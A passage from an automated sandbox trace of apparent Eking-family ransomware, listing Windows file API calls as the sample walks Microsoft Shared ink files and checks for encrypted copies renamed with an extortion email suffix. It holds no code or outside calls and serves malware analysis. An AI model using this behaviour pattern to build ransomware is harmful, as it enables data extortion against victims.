"c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.022] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2652) returned 1 [0167.022] CloseHandle (hObject=0x1e4) returned 1 [0167.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0167.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml")) returned 0x20 [0167.022] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipshrv.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshrv.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.023] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2526) returned 1 [0167.023] CloseHandle (hObject=0x1e4) returned 1 [0167.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0167.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml")) returned 0x20 [0167.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsita.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsita.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.024] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2522) returned 1 [0167.024] CloseHandle (hObject=0x1e4) returned 1 [0167.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0167.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0167.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.025] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2568) returned 1 [0167.025] CloseHandle (hObject=0x1e4) returned 1 [0167.025] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0167.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0167.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.026] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=40960) returned 1 [0167.026] CloseHandle (hObject=0x1e4) returned 1 [0167.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0167.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll")) returned 0x20 [0167.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.027] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2626) returned 1 [0167.028] CloseHandle (hObject=0x1e4) returned 1 [0167.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0167.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml")) returned 0x20 [0167.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.029] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2580) returned 1 [0167.029] CloseHandle (hObject=0x1e4) returned 1 [0167.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0167.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml")) returned 0x20 [0167.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.448] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2600) returned 1 [0167.448] CloseHandle (hObject=0x1e4) returned 1 [0167.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0167.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20 [0167.448] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.449] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=94720) returned 1 [0167.449] CloseHandle (hObject=0x1e4) returned 1 [0167.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0167.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0167.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.450] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2246) returned 1 [0167.450] CloseHandle (hObject=0x1e4) returned 1 [0167.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0167.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20 [0167.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.451] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2240) returned 1 [0167.451] CloseHandle (hObject=0x1e4) returned 1 [0167.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0167.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20 [0167.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.451] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2644) returned 1 [0167.451] CloseHandle (hObject=0x1e4) returned 1 [0167.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0167.451] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0167.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.453] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2542) returned 1 [0167.453] CloseHandle (hObject=0x1e4) returned 1 [0167.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0167.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0167.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.454] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2568) returned 1 [0167.454] CloseHandle (hObject=0x1e4) returned 1 [0167.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0167.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0167.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.454] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2596) returned 1 [0167.454] CloseHandle (hObject=0x1e4) returned 1 [0167.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0167.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0167.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.455] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2520) returned 1 [0167.455] CloseHandle (hObject=0x1e4) returned 1 [0167.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0167.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0167.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0167.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0167.456] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0167.456] CloseHandle (hObject=0x1e4) returned 1 [0167.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0167.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it\\tipresx.dll.mui")) returned 0x20 [0167.457] GetFileAttributesW 